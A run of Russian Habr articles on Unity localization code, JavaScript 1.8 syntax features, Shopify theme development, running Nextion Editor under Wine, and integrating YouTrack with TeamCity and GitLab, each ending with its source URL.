var handlers = \_tagHandlers[tag];
foreach (var handler in handlers)
{
handler(resource);
}
}
}
```
Метод **AddTags** добавляет тэги к существующим в системе. Метод **AddResources** добавляет текущие языковые ресурсы. Метод **UpdateLocalizeResources** вызывает методы подписчиков на событие изменения языка. Последнее, что осталось сделать это добавить методы очистки данных.
**Примечание**: Для режима редактора и в метод **AddTags** и в метод **AddResources** можно/нужно вставить проверки на дубликаты имени тэгов. Это можно сделать через *#if UNITY\_EDITOR #endif*.
```
public void ClearResources()
{
_currentResources.Clear();
}
public void Clear()
{
_resourceTypeByTag.Clear();
_currentResources.Clear();
_tagHandlers.Clear();
}
```
Итак, если посмотреть на весь написанный код, то в целом сама основа не представляет из себя никакой сложности, все очень просто. Однако нам не хватает еще одной вещи, а в частности компонента, который позволит нам обновлять ресурсы по тэгу.
```
[Serializable]
public class LocalizationTagDefinition
{
public string Tag;
private Action \_languageChangedHandler;
public void Subsribe (Action handler)
{
\_languageChangedHandler = handler;
LocalizationController.SubscribeTag(Tag, handler);
}
public void Unsubscribe()
{
LocalizationController.UnsubscribeTag(Tag, \_languageChangedHandler);
}
}
```
Экземпляр данного класса можно заводить в любом скрипте работающим с интерфейсом или данными, требующими локализации. Для удобства можно завести для него отдельный редактор для инспектора, используя **CustomPropertyDrawer**. Такой редактор может выглядеть примерно так:
Как использовать
----------------
Итак, выше было описано то, как мы храним данные локализации и код необходимый для работы с ними. Рассмотрим теперь базовые сценарии использования описанной системы локализации.
**И первым будет вариант, когда у нас один набор данных, в котором хранятся несколько языков**
```
public class GameLocalization : MonoBehaviour
{
public static LocalizationController Controller
{
get
{
if (_localizationController == null)
{
_localizationController = new LocalizationController();
}
return _localizationController;
}
}
public LocalizationData DefaultLocalization;
public int DefaultLanguage;
private static LocalizationController _localizationController;
void Start()
{
if (DefaultLocalization == null)
{
StartCoroutine(LoadLocalizationData("http://myserver.ru/localization", (bundle) =>
{
DefaultLocalization = bundle.LoadAllAssets()[0];
InitLanguage();
bundle.Unload(true);
}));
}else
{
InitLanguage();
}
}
public void ChangeLanguage(int languageId)
{
Controller.SetLanguage(DefaultLocalization.Languages[languageId]);
}
public List GetLanguages()
{
var languages = new List();
for (var i = 0; i < DefaultLocalization.Languages.Count; i++)
{
languages.Add(DefaultLocalization.Languages[i].Name);
}
return languages;
}
IEnumerator LoadLocalizationData(string url, Action result)
{
var request = UnityWebRequestAssetBundle.GetAssetBundle(url);
yield return request.SendWebRequest();
var assetBundle = DownloadHandlerAssetBundle.GetContent(request);
result(assetBundle);
request.Dispose();
}
private void InitLanguage()
{
Controller.AddTags(DefaultLocalization.Tags);
Controller.SetLanguage(DefaultLocalization.Languages[DefaultLanguage]);
}
}
```
Что у нас получается: на старте мы смотрим, есть ли установленный **Asset** локализации, если да, то мы инициализируем контроллер локализации и устанавливаем язык по умолчанию, если нет, то загружаем **Asset** с сервера. Также присутствует два метода, для установки языка и получения списка языков, для показа их в интерфейсе. При вызове метода **SetLanguage** все подписчики изменений ресурсов по тэгам получат уведомления и обновят свои ресурсы.
Теперь рассмотрим вариант, когда у нас данные локализации разбросаны по нескольким **Asset**’ам.
**Здесь нам надо изменить несколько методов из предыдущего примера.**
```
public LocalizationData LocalizationAudio;
public LocalizationData LocalizationImage;
public LocalizationData LocalizationText;
public int DefaultLanguage;
void Start()
{
Controller.AddTags(LocalizationAudio.Tags);
Controller.AddTags(LocalizationImage.Tags);
Controller.AddTags(LocalizationText.Tags);
ChangeLanguage(DefaultLanguage);
}
public void ChangeLanguage(int languageId)
{
Controller.ClearResources();
Controller.AddResources(LocalizationAudio.Languages[languageId].Resources);
Controller.AddResources(LocalizationImage.Languages[languageId].Resources);
Controller.AddResources(LocalizationText.Languages[languageId].Resources);
Controller.UpdateLocalizeResources();
}
```
Я думаю тут все понятно без пояснений: мы просто добавляем тэги, как и раньше, но ресурсы добавляем в ручном режиме, после чего вызываем метод **UpdateLocalizeResource**, который вызовет уведомление для всех подписчиков на тэги.
И в заключении нам осталось рассмотреть работу с ресурсами и тэгами в конечной точке, т.е. на уровне контента и в качестве примера возьмем объект **Image** из **Unity GUI**;
```
public class LocalizeImage : MonoBehaviour
{
public LocalizationTagDefinition ImageTag;
private void OnEnable()
{
ImageTag.Subsсribe((data) =>
{
GetComponent().sprite = data as Sprite;
});
}
private void OnDisable()
{
ImageTag.Unsubscribe();
}
}
```
Здесь мы используем описанный раннее компонент **LocalizationTagDefinition**. Повесив данный скрипт на объект, мы получим автоматическое изменение изображения в случае, если сменится язык.
Заключение
----------
В заключении хочу сказать, что применение данного подхода в текущей моей работе довольно сильно облегчило жизнь с локализацией. В сегменте, в котором разрабатываются мои проекты объем различных данных достаточно большой: и речь, и изображение, и текст. Также большая часть языков не включена в основное приложение и они загружается по требованию пользователя. Помимо прочего игра порой должна вести себя по-разному для разных языков (это достигается путем добавления **json** строк в текстовые данные локализации). Конечно, система возможно не оптимальна и есть куда развиваться и по части кода, и по части редактора (особенно его, например добавить импорт текстовых данных из **Google Sheets** и сделать его более приятным глазу), но для моих проектов ее на данный момент достаточно.
В конце небольшой пример, где использовался описанный выше подход. Это визуальный редактор логики **Panthea VS** (идейным вдохновителем которого был **PlayMaker**). | https://habr.com/ru/post/358916/ | null | ru | null |
# JavaScript 1.8
JavaScript 1.8 предоставляет огромное количество вкусного синтаксического сахара, в основном любителями функциональщины. Но очень мало разработчиков знает об этой красоте. Конечно, к сожалению, все эти вкусности не поддерживает даже Chrome (что уж говорить об IE?), а только Firefox 3+, но JavaScript-разработчик просто обязан знать обо всех этих новинках.
Наиболее полную информацию можно найти в статьях на [MDN](https://developer.mozilla.org/en-US/ "Mozilla Developer Network"):* [New in JavaScript 1.7](https://developer.mozilla.org/en/new_in_javascript_1.7)
* [New in JavaScript 1.8](https://developer.mozilla.org/en/new_in_javascript_1.8)
А я перевела небольшую, но интересную статью Джона Ресига (автора jQuery), который раскрывает в ней некоторые из новых фич: Expression Closures, Generator Expressions, \_\_iterator\_\_, Array Reduce и кое-что ещё:
```
// Останавливаем выполнение события по-умолчанию
document.addEventListener("click", function() false, true);
// Выводим три сообщения
for ( let i in 3 ) alert( i );
// Создаем массив из 100 элементов, заполненный нулями
[ 0 for ( i in 100 ) ];
// Создаем единичную матрицу 10*10
[[ i == j ? 1 : 0 for ( i in 10 ) ] for ( j in 10 )];
```
Хотя статья написана в 2007 году, я не нашла её перевода на русский язык и вообще достаточно информации по этой теме на русском языке. Весь код в примерах отлично работает в Firefox 3+.
Прогресс в JavaScript 1.8
-------------------------
Если вы не следили за прогрессом в разработке JavaScript 1.8, я предлагаю вашему вниманию быстрый обзор того, что уже есть в ночной сборке Firefox 3.
Пока что в последних версиях добавилось три основные возможности, и ожидается еще несколько. Основной задачей этой “легкой” версии является приближение текущей реализации JavaScript к желаемой спецификации JavaScript 2.
Лексические замыкания (Expression Closures)
-------------------------------------------
Лексические замыкания недавно добавлены в транк, и они наверняка будут интересны любителям функционального программирования. Фактически, это просто изящная запись для написания простых функций, которая делает язык подобным типичной лямбда-нотации.
Давайте глянем на синтаксис лямбда-функций в разных языках:
Python:
```
lambda x: x * x
```
Smalltalk:
```
[ :x | x * x ]
```
JavaScript 1.8:
```
function(x) x * x
```
JavaScript 1.7 и старше:
```
function(x) { return x * x; }
```
Пожалуй, мой любимый пример — это установка обработчика событий:
```
document.addEventListener("click", function() false, true);
```
Или в сочетании этой нотации и некоторых функций применяемых для массивов из JavaScript 1.6:
```
elems.some(function(elem) elem.type == "text");
```
Это даст вам элегантный JS/DOM код.
Выражения-генераторы (Generator Expressions)
--------------------------------------------
Это ещё один пример из новенького. Он посложнее предыдущего, так как здесь охвачено несколько понятий. Конкретно пример требует знаний большинства особенностей JavaScript 1.7 — особенно итераторов, генераторов и генераторов массивов. Эта особенность базируется на выражениях-генераторах, позаимствованных из Python.
В тикете, отслеживающем данную возможность, Брэндан запостил элегантный и функциональный решатель Судоку, написаный с использованием нового синтаксиса, предлагаемого этим дополнением. Эта демо-версия базируется на [аналогичной](http://norvig.com/sudoku.html), написанной на Python, которая демонстрирует применение выражений-генераторов.
Для лучшего понимая значения этой функции, давайте посмотрим на пример кода на JavaScript 1.8, взятого из решателя Судоку.
```
dict([s, [u for (u in unitlist) if (u.contains(s))]] for (s in squares))
```
Это выражение опирается на функцию dict(), которая берёт матрицу размером 2xN и конвертирует её в пару ключ/значение. Вот её код:
```
function dict(A) {
let d = {}
for (let e in A)
d[e[0]] = e[1]
return d
}
```
Давайте рассмотрим каждый элемент этого выражения для лучшего понимания того, что именно происходит.
```
[u for (u in unitlist) if (u.contains(s))]
```
Первая часть выражения — пример генерации массивов из JavaScript 1.7. А именно, мы проходим каждый элемент списка
и создаем массив с индексами, которые содержат s.
```
[s, ...] for (s in squares)
```
Вторая часть выражения — другой пример генерации массива. На первый взгляд — это очередная возможность JavaScript 1.7 — деструктивное присваивание (destructuring assignment), но это не так.
Деструктивное присваивание возникает тогда, когда вы присваиваете новое значение старому элементу массива — а здесь мы добавляем это значение в новый массив. Новые двумерные массивы впоследствии будут переданы в функцию dict.
```
dict([s, ...] for (s in squares))
```
Вот где скрыта магия. В JavaScript 1.7 мы можем вызвать функцию dict() так:
```
dict([[s, ...] for (s in squares)])
```
Обратите внимание на явное использование генерации списков. Проблема с дополнительной генерацией заключена в том, что она должна быть выполнена полностью для построения целого массива (который конвертируется в словарь/хэш). Впрочем, отсутствие еще одного [...] и определяет выражение-генератор. Это делает строчку на JavaScript 1.8 эквивалентной следующей строчке на JavaScript 1.7:
```
dict((function(){ for (s in squares) yield [s, ...] ; })())
```
Здесь вы видите, что выражение-генератор создает массив лениво — то есть, значения не будут сгенерированы до того момента, как они будут необходимы в функции dict() (в результате мы получаем меньше операций и лучшую производительность)
Вот другой пример выражения-генератора:
```
// Создает генератор, проходящий по массиву значений объекта
function val_iter(obj) {
return (obj[x] for (x in obj));
}
// Итерирует по ключам объекта
for ( let key in obj ) { ... }
// Итерирует по значениям объектаа
for ( let value in val_iter(obj) ) { ... }
```
Конечно, функция val\_iter() может быть построена и с помощью JavaScript 1.7, с использованием yield:
```
function val_iter(obj) {
for (let x in obj)
yield obj[x];
}
```
Выражения-генераторы будут особенно полезны в коде, жадном до памяти и CPU — например, в том же решателе Судоку, поскольку теперь есть возможность получать результаты решений только тогда, когда они нужны — а не расчитывать их заранее.
Развлекаемся с итераторами
--------------------------
Между прочим, я недавно уже разбирался с итераторами и генераторами — и мне не хватало возможности простой итерации по набору чисел (например, 0-9). Чуть поработав напильником, мы можем добавить такую возможность в язык:
```
// Добавляем итератор ко всем числам
Number.prototype.__iterator__ = function() {
for ( let i = 0; i < this; i++ )
yield i;
};
// Выводим три сообщения
for ( let i in 3 ) alert( i );
// Создаем массив из 100 элементов, заполненный нулями
[ 0 for ( i in 100 ) ]
// Создаем единичную матрицу 10*10
[[ i == j ? 1 : 0 for ( i in 10 ) ] for ( j in 10 )]
```
Может и боян, но я пришёл в дичайший восторг от этого.
Array Reduce
------------
Последнее, что стоит разобрать — новые методы Array.reduce/Array.prototype.reduce с JavaScript 1.6 Array Extras.
Вы можете применить reduce к массиву таким образом:
```
someArray.reduce( fn [, initial] );
```
с функцией это будет выглядеть так:
```
someArray.reduce(function(lastValue, curValue){
return lastValue + curValue;
});
```
Аргумент «lastValue» — результат выполнения коллбэка функции reduce. При первом вызове lastValue будет равно первому элементу списка или значению initial, если вы его передали, а значение curValue — следующему элементу списка
Таким образом, если вы хотите найти суму чисел от 0 до 99, вы можете сделать это следующим образом (используя JavaScript 1.8 и вышеупомянутый числовой итератор)
```
[x for ( x in 100 )].reduce(function(a,b) a+b);
```
Изящно, не так ли?
Вы также можете применять reduce для таких вещей, как слияние множества узлов DOM в один массив:
```
nodes.reduce(function(a,b) a.concat(b.childNodes), []);
```
Попробуйте сами!
----------------
Всё, что я упомянул выше работает в последних ночных сборках Firefox 3, так что если вы хотите попробовать выполнить что-то из вышепоказанного, просто сделайте следующее:
1. Скачайте ночную сборку Firefox 3
2. Создайте страницу, которая содержит следующий тэг (с атрибутом ‘version=1.8’, который только что был добавлен):
```
... your code ...
```
И это всё, что нужно – наслаждайтесь! | https://habr.com/ru/post/113344/ | null | ru | null |
# Мой Опыт Работы С Shopify Как Разработчика
С Shopify я работаю практически год, за это время я столкнулся с множеством интересных задач и сейчас постараюсь поделиться своим опытом. Если вы хотите изучить Shopify разработку, то вам будет полезно прочитать эту статью, она должна помочь вам познакомиться с Шопифай и возможно ответить на какие-то ваши вопросы. Даже если вы хотите открыть магазин на Шопифай вы сможете почерпнуть для себя полезную информацию.
### Как я начинал?
С Шопифай я познакомился очень неожиданно. Когда я искал вакансии фронтенд разработчика я обращал внимание на разные технологии, которые используют компании. Ещё со времён учёбы в колледже, мне очень нравились интернет-магазины и я смотрел какие существуют платформы электронной коммерции. Из самых крупных я обнаружил wooCommerce и Shopify. С вукомерсом все понятно, но про Шопифай я услышал впервые. Тогда я зарегистрировался, посмотрел как он выглядит изнутри, почитал про него подробнее. Респект Шопифаю за документацию. И указал Шопифай в резюме, особо на него не надеясь, ведь Шопифай в России используется крайне редко. Даже сейчас я пытался найти русскоязычных Шопифай разработчиков - чтобы обменяться опытом и просто поговорить, но не нашёл. Возможно где-то они есть, ребята отзовитесь.
После публикации резюме мне начали приходить отклики. И в один из дней мне написала HR Менеджер и сказала, что в компанию требуется Шопифай разработчик. Я был крайне удивлён, что сказать. Я прошёл собеседование, выполнил техническое задание и стал Шопифай разработчиком.
Самое смешное, что когда я указывал Шопифай в резюме, я не думал, что буду с ним работать, но когда начал, через какое-то время он меня поразил. Изначально я думал, что это какой-то конструктор интернет-магазинов. Но позже оказалось, что в Шопифай можно делать много всего прикольного и что это не просто конструктор сайтов, а целая система со своими технологиями и фишками. В Shopify вы можете разрабатывать темы, писать приложения, которые упрощают жизнь владельцев магазинов, кастомизировать темы и многое другое. Это лишь малая часть функционала Шопифай. Но с точки зрения разработчика, это всё. Возможно звучит мало, но этого мало довольно много.
### Винтажные темы
Шопифай не всегда был таким удобным, как он есть сейчас. После августа 2021 года появились темы 2.0, которые привнесли ряд улучшений для разработчиков тем. Подробнее ознакомиться с кастомизацией винтажных тем вы можете [здесь](https://help.shopify.com/en/manual/online-store/themes/themes-by-shopify/vintage-themes/customizing-vintage-themes). Кратко скажу, что эти темы устарели и лучше на них ничего не делать и сразу использовать темы 2.0.
Обращаю особое внимание, что до сих пор продаются старые темы. Если вы решили купить тему на какой-то площадке, тот же [themeforest](https://themeforest.net), обратите внимание на версию темы, это очень-очень-очень важно.
### Какую тему выбрать?
Прежде чем загружать тему в магазин, нужно её выбрать. В Шопифай существует две группы тем:
1. Официальные темы;
2. Темы от других разработчиков, в Шопифай их называют third party themes, типа сторонние темы.
Стоит понимать, что тема это всё - дизайн и функционал вашего магазина. Многие ошибочно думают, что тема это всего лишь дизайн, но это не так. Тема это еще и функционал вашего магазина. И проблема в том, что перед покупкой вы не сможете посмотреть тему изнутри, вы будете видеть только её оболочку, её дизайн. Конечно, вы увидите какой-то функционал, который представлен в демке, но это все-равно не полная картина.
В моей практике часто бывало так, что заказчик покупал тему, которая ему понравилась внешне, но по функционалу она не удовлетворяла его потребностям. Потому-что как минимум человек не понимает, что можно сделать в Шопифай, а что нельзя, об этом я тоже расскажу чуть позже. Чтобы такого не было, стоит обратить внимание не только на дизайн темы, а также на версию темы и на разработчика темы. Возможно получится поговорить с самим разработчиком, т.е. спросить у него про версию темы, если вдруг она не указана в описании, также стоит узнать про поддержку некоторого функционала (если он вам нужен).
Первый функционал, который я использую в работе - фильтры по метафилдам. Казалось бы, простая штука, нужно просто выводить на страницу коллекций и поиска фильтры по дополнительным полям, которые указаны в настройках темы во вкладке metafields. Возможно вы удивитесь, но это редкий случай, когда они есть в темах от сторонних разработчиков.
Как вы поняли, выбор темы - сложный вопрос. Всё зависит от ваших целей. Если ваша цель разрабатывать темы, т.е. учить Шопифай разработку, то я вам рекомендую использовать [Dawn](https://shopify.dev/themes/tools/dawn) - официальная первая Shopify референс тема. Dawn отлично подойдет для понимания, что такое Шопифай разработка и как разрабатывать функциональные, и продуманные темы. Конечно, дизайн у неё минималистичный и не блещет какими-то красками, но зато вы найдете много примеров по добавлению дополнительно контента, потому-что все примеры в [Шопифай документации для разработчиков](https://shopify.dev/themes/getting-started/customize) представлены именно на Dawn. Также, люди задают свои вопросы по добавлению или изменению функционала Dawn темы в [Шопифай сообществе](https://community.shopify.com/c/shopify-community/ct-p/en) и на [Stack Overflow.](https://stackoverflow.com/)
Хочу сразу отметить Шопифай поддержку, которая отвечает очень быстро. А про поддержку тем от других разработчиков сказать сложно, какие-то саппорты отвечают быстро, а какие-то могут отвечать от одного дня - месяца, ну или не ответить вовсе, я с таким тоже сталкивался. Поэтому к выбору темы нужно подойти очень тщательно.
### Интеграция темы с GitHub репозиторием
Это очень удобная фича в Шопифай, я пользуюсь ей каждый день. Если я что-то сделал не так или просто хочу посмотреть, что я изменял вчера или в любой другой день, я могу открыть репозиторий и посмотреть коммиты, которые сразу пушатся в репозиторий, даже если вы делаете изменения в кастомайзере. Поэтому, если вы хотите отслеживать изменения в вашей теме, то вам нужно связать вашу тему с Гитхаб репозиторием.
О том как интегрировать Шопифай тему с Гитхаб я писал в своей [предыдущей статье](https://habr.com/en/post/663844/). Также узнаете про Shopify CLI, тоже очень крутая фича, почитайте.
### Настройка темы
Как только тема привязана - хорошо бы ее настроить. Основные настройки на которые стоит обратить внимание:
1. **Store details** (нужно обратить внимание на получателя сообщений для того чтобы тестировать работу формы);
2. **Users and permissions** (для предоставления доступа в магазин);
3. **Markets** (для настройки основного рынка продаж и мультиязычности);
4. **Apps and sales channels** (для настройки плагинов и точек продажи);
5. **Brand** (для добавления логотипов, цветов, описания и тд.);
6. **Metafields** (те самые дополнительные поля);
7. **Policies** (настройка политики магазина).
После выставления глобальных настроек желательно изменить дефолтные настройки темы, туда входят: цвета сайта, шрифты, размер контейнеров, округлость кнопок, ссылки на соц. сети и еще кучу всего. Эти настройки зависят от темы, поэтому их количество и качество варьируется в зависимости от выбранной вами темы. Если вы не знаете, что выставлять в этих настройках, то оставьте как есть.
### Секции
*Секция - liquid файл, который позволяет вам создать переиспользуемый элемент контента и может быть кастомизирован клиентом. Насчет переиспользуемого контента возвращаемся к JSON шаблонам и вспоминаем его важность на этом этапе.*
**Существует три способа отобразить секцию в Шопифай:**
1. **Через JSON шаблон;** Когда у вас JSON шаблон страницы вы можете добавить любую секцию на страницу, которая есть в папке sections, также вы можете переиспользовать любую секцию (использовать одну и ту же секцию несколько раз). Чтобы добавить какую-либо секцию на страницу с JSON шаблоном вам всего лишь нужно нажать на кнопку add section в кастомайзере на нужной вам странице.
2. **При помощи Liquid тэга;** В старых темах вы можете увидеть `.liquid` шаблоны, но "жидкие" шаблоны неудобные в разработке. Чтобы отобразить секцию вам нужно зайти в код страницы и прописать: `{% include "section-name" %}`
Подробнее про liquid вы можете почитать [здесь](https://www.shopify.com/partners/shopify-cheat-sheet).
**Памятка**
Вы можете добавлять секцию с `.liquid` расширением в нескольких файлах. Но помните, что существует всего лишь одна версия этой секции. Это значит, что при кастомизации кода этой секции она будет изменяться везде, где вы ее отображаете.
3. **Использовав Section Rendering API;** Вы можете использовать Section Rendering API чтобы запросить HTML структуру для секций темы используя AJAX запрос. Это позволит вам обновить контент страницы без перезагрузки всей страницы при помощи извлечения и замены лишь некоторых элементов. Такой метод применяется при пагинации результатов поиска на странице.
Секции в шопифай очень важны, ведь каждый контент должен где-то хранится, например, в секциях и блоках. О блоках поговорим позже. Для того чтобы грамотно распределить контент в секции, нужно следовать следующему правилу:
* **Не перегружать секцию контентом**
Я встречал такой случай, когда весь контент на странице был помещен в одну секцию. Работать с этим, естественно, не удобно. Запутаться можно в два счёта и что-либо сломать тоже. Поэтому чтобы таких курьезов не возникало, разграничивайте контент по блокам. Например, у вас есть текстовый контейнер - поместите его в блок под названием ‘text’. Если у вас есть картинка в секции - поместите её в блок под названием ‘image’. И тогда получится, что у вас в секции есть два блока - ‘text’ и ‘image’.
**Памятка**
Eсли вам нужно установить задний фон секции, для этого не нужно помещать картинку или цвет в блок, лучше будет воспользоваться настройками секции. Тоже самое касается заголовка и подзаголовка секции (или любых других элементов).
### Блоки
*Блоки - контент секции, который может быть добавлен, удален или изменен. Например, вы можете создать секцию с текстом, картинкой и кнопкой. И эти самые блоки можно перемещать внутри секции, как вам больше нравится. Если захотите кнопку поместить над заголовком - пожалуйста, ваше решение.*
Прежде чем верстать какую-либо секцию, посмотрите на неё, как она работает. Есть ли у неё повторяющиеся элементы? Если да, то это можно и нужно поместить в блок, тогда не придется писать много ненужного кода.
### Ограничения Шопифай как платформы
На Шопифай иногда не получается воплотить все идеи заказчика. Но почему так?
Шопифай это CMS для работы с магазином, она не создавалась для того чтобы на ней делали какие-то сложные анимации или дизайн решения. Шопифай создан чтобы продавать. Я понимаю, что дизайн очень важен для магазина и дизайн это то, что увидит покупатель в первую очередь. Но что лучше - красивый дизайн или хорошо работающая техническая часть магазина? Опять же понятие красивого дизайна у каждого свое. А под технической частью я имею в виду следующее: фильтры, личный кабинет пользователя, корзину, секцию недавно просмотренных товаров, поиск, вишлист, контактную форму, имейл рассылку. Это все - стандартный функционал интернет-магазина. И бывают темы, в которых это есть, но оно не работает.
### Заключение
Если вы изучаете Шопифай разработку, как и я, то добро пожаловать в клуб Шопифай разработчиков. Если же вы прочитали эту статью потому-что вам было интересно узнать мой опыт работы с Шопифай, то я тоже очень рад. В общем, пишите крутые темы, подходите к созданию магазина с умом, всем пис.
UPD: Шопифай ушел из России | https://habr.com/ru/post/691044/ | null | ru | null |
# Запускаем Nextion Editor 0.34 под Wine
Не так давно был выпущен в свет потрясающий продукт от компании ITEAD — экран Nextion HMI. Многие знают про то как можно подключить экран к микроконтроллеру, например, к тому же arduino и выводить графическую информацию. Если немного постараться, можно добавить резистивную сенсорную панель и получится настоящее сенсорное устройствво. Проблемой является лишь малое быстродействое микроконтроллера и небольшой объем оперативной памяти. Библиотек arduino для подобных решений великое множество, некоторые не совсем совместимы между собой, а некоторые и вовсе заточены под специфический контроллер. Это серьезно усложняет разработку и в некоторых случаях делает невозможным масштабирование. Похоже, в один прекрасный момент парни из ITEAD сказали «Хватит это терпеть» и [запустили компанию по сбору средств](https://www.indiegogo.com/projects/nextion-a-cost-effective-high-performance-tft-hmi#/) на новое поколение экранов для встраиваемых устройств. Проект назвали Nextion. Этот экран представляет собой устройство для вывода изображения и взаимодействия с графическим интерфейсом, но сами картинки и все паттерны зашиваются непосредственно на устройство в виде прошивки. С микроконтроллером такой экран общается уже по UART и своершенно не нагружает его, что позволяет выделить ресурсы под задачи опроса датчиков, контроль параметров в реальном времени, собственно, чем микроконтроллер и должен заниматься.
Для программирования, а лучше сказать разработки прошивки, доступна среда [Nextion Editor](http://nextion.itead.cc/download.html) и только под Windows. Это многих печалит, так как еще на этапе сбора средств разработчики обещали выпустить кросплатформенные редактор или версии для Mac и Linux к концу 2015 года. Видимо, что-то пошло не так, раз до сих пор Linux сообщество так и не увидело столь желаемого инструмента, а разработчики кормят завтраками. Как выяснилось, запустить редактор под линуксом вполне можно и автор с огромным удовольствием расскажет как
Сразу стоит оговориться. Возпользоваться данной инструкцией смогут только те, кто знает что такое wine и хотя бы примерно представляет как с ним работать. Приступаем.
Вам понадобится свежий установленный Wine. Ubuntu пользователи могут воспользоваться свежей версией из PPA репозитория Wine-staging
```
sudo add-apt-repository ppa:pipelight/stable
sudo apt-get update
sudo apt-get install --install-recommends wine-staging
```
Затем необходимо поставить пакет совместимости
```
sudo apt-get install wine-staging-amd64
```
У меня так и не получилось правильно собрать префикс для запуска через winetricks, но получилось сделать это через [PlayonLinux](https://www.playonlinux.com/ru/download.html).
Следовательно, ставим его и запускаем.
Жмякаем на кнопку «Установка».
Выбираем «Установить программу, отсутствующую в списке» и жмем «Далее»
Выбитаем «Установить программу на новый виртуальный диск» и нажимаем «Далее»
Выбираем произвольное имя, например, «Nextion» и жмем «Далее»
Выбираем «Установить дополнительные библиотеки» и жмем «Далее»
Обязательно выбираем «32 bit windows installation» и жмем «Далее»
Какое-то время будут отрабатывать скрипты создания префикса и потом откроется окно выбора необходимых компонентов. Нам нужно отметить dotnet45 и нажать «Далее» и после завершения установки отказаться от установки приложения, закрыв окно.
После всего необходимо вернуться на начальный этап и снова нажать кнопку «Установка», пройдясь заново по шагам, но на этот раз выбрать «редактировать или обновить существующее приложение» и нажать «Далее».
Отмечаем галочкой «показать виртуальные диски» и выбираем свой (у меня Nextion).
В этот раз выбираем «Настроить Wine» и «Установить дополнительные библиотеки», жмем «Далее»
Обязательно выбираем «Windows XP», жмякаем «OK» и идем дальше.
Отмечаем среди компонентов «ie8» и снова проходим до самого последнего пункта, отказываясь от установки приложения.
Все, перфикс собран, его можно найти по адресу
```
/home//.PlayOnLinux/wineprefix/
```
Можно использовать прямо отсюда, а можно скопировать в папку с вашими префиксами.
Установить среду разработки все равно не получится, но можно воспользоваться распакованным вариантом.
К слову, автор уже открыл тикет с просьбой выкладывать zip архив помимо установочника, но вы можете сделать [то же самое](http://support.iteadstudio.com/support/tickets/new), думается, это должно ускорить появление дистрибутива =)
Для запуска лично автор использует недружественный q4wine в силу привычки. Вы можете использовать то, что вам нравится с этим параметром.
Вот и все, можно пользоваться средой разработки под линуксом. Вроде все компилируется, но автор никакой ответственности за баги и глюки не несет.
Получиться должно [как-то так](http://www.youtube.com/watch?v=SUiUCDnpBXs).
P.S. Если вам особенно лень и вы любитель быстрых решений, то можете воспользоваться [уже заготовленным префиксом](https://yadi.sk/d/eGgGZ8YQrT3W4) либо [скриптом](https://yadi.sk/d/imoYjFrLrTQdo) и [ZIP архивом с распакованным установщиком](https://yadi.sk/d/y2nHcjqcrT2tJ). Надеюсь что скоро ZIP пакет появится на сайте и можно будет добавить полноценное TurnKey решение на основе PlayOnLinux.
Приятного пользования =)
UPD. Разработчики дали ответи готовы публиковать zip архивы c дистрибутивом, начиная с версии 0.35. Даю слово, что как только выйдет новая версия с редактором в zip архиве — я допилю автоматический скрипт под PlayOnLinux и оформлю это в новой статье с новыми инструкциями. | https://habr.com/ru/post/393539/ | null | ru | null |
# Интеграция Youtrack со встроенным (embedded) Hub с Teamcity, Gitlab
В этом посте будет рассказано о том как сделать интеграцию Youtrack со встроенным (embedded) Hub с Teamcity, Gitlab.
**[YouTrack](https://www.jetbrains.com/ru-ru/youtrack/)** — коммерческая система отслеживания ошибок, программное обеспечение для управления проектами. YouTrack поддерживает поисковые запросы, автодополнение, манипуляцию с наборами задач, настройку набора атрибутов задачи, создание пользовательских рабочих процессов и реализует подход, основанный на преимущественном использовании клавиатуры.
**[TeamCity](https://www.jetbrains.com/ru-ru/teamcity/)** — интеллектуальный сервер непрерывной интеграции.
[**GitLab**](https://about.gitlab.com/) — веб-инструмент жизненного цикла DevOps с открытым исходным кодом, представляющий систему управления репозиториями кода для Git с собственной вики, системой отслеживания ошибок, CI/CD пайплайном и другими функциями.
#### Требования к интеграции
**Необходимо чтобы все инструменты резолвились по DNS. Если инструменты не будут резолвиться по DNS, то у вас часть функционала не будет работать.**
#### Установка, запуск
**Youtrack**
```
yum install -y mc unzip
wget https://download-cf.jetbrains.com/charisma/youtrack-2020.3.1402.zip
unzip youtrack-2020.3.1402.zip
cd youtrack-2020.3.1402/bin/
./youtrack.sh start
```
**Teamcity**
```
yum install -y unzip mc java-1.8.0-openjdk-devel
wget https://download-cf.jetbrains.com/teamcity/TeamCity-2020.1.2.tar.gz
tar zxvf TeamCity-2020.1.2.tar.gz
cd TeamCity/bin
./runAll.sh start
```
После установки YouTrack со встроенным (embedded) Hub, Teamcity, Gitlab имеется возможность сделать следующие интеграции:
* YouTrack c TeamCity — Build Server Integration
* YouTrack с Gitlab — VCS Integrations
#### Интеграция YouTrack c TeamCity — Build Server Integration
Создадим одинаковый проект в Youtrack, Teamcity и Gitlab.
В Teamcity подключен VCS, который отображается на скриншоте с Gitlab.
В YouTrack создана issue c номером P1-1.
Задача: необходимо закрывать Issue в YouTrack после успешной сборки в Teamcity, используя номер Issue и команду Fixed в commit.
Переходим в Build Server Integration. Подключаем Build Server в YouTrack.
Интеграцию YouTrack c TeamCity нужно делать попроектно. Для этого в поле **Main YouTrack project** указываем проект в YouTrack. В поле **TeamCity project** указываем проект в TeamCity. В поле **TeamCity build** указываем таску в TeamCity, в которой будет собираться ваш проект. Можно выставить **Fixed in build** в поле **Add build numbers to the set of values in a custom field**. В YouTrack будет указано в каком билде исправлена эта issue.
Если вы видите сообщение **The VCS user name does not match any user in YouTrack.**, то вам нужно проверить и сравнить **VCS user name** в git user.name и в настройках вашего пользователя.
Мне git log показал мои старые данные от прошлых экспериментов.
```
git log
commit 34ea8e39320e668db4066aa98b425c9fa9f7f7ef (HEAD -> master, origin/master)
Author: Anton Patsev
Date: Wed Jul 29 11:45:23 2020 +0600
text text1 #P1-1 Fixed this issue
```
Вам нужно либо создать нужно пользователя или добавить name и email в профиль пользователя.
Так же если вы нажмете на коммит **4643208d**, то вы перейдете в TeamCity где увидите ошибку *Unknown (none of TeamCity users defined **user1** username in their VCS username settings)*. TeamCity пишет что у него нет пользователя с именем user1. Поэтому нужно его добавить в TeamCity.
Если у вас **Unknown command: Fixed**, то это значит что ваш пользователь, который пытается закрыть issue, не имеет права это делать.
Добавляем юзеру user1 роль Developer в проекте project1.
После этого делаем еще один текстовый коммит, который закрывает issue. Мы видим что ошибок нет, state перешел в состояние Fixed, в поле Fixed in Build проставилась номер таски в TeamCity, в котором закрылась эта issue.
#### VCS Integrations
Чтобы продемонстрировать чистую VCS Integrations отключим интеграцию с TeamCity.
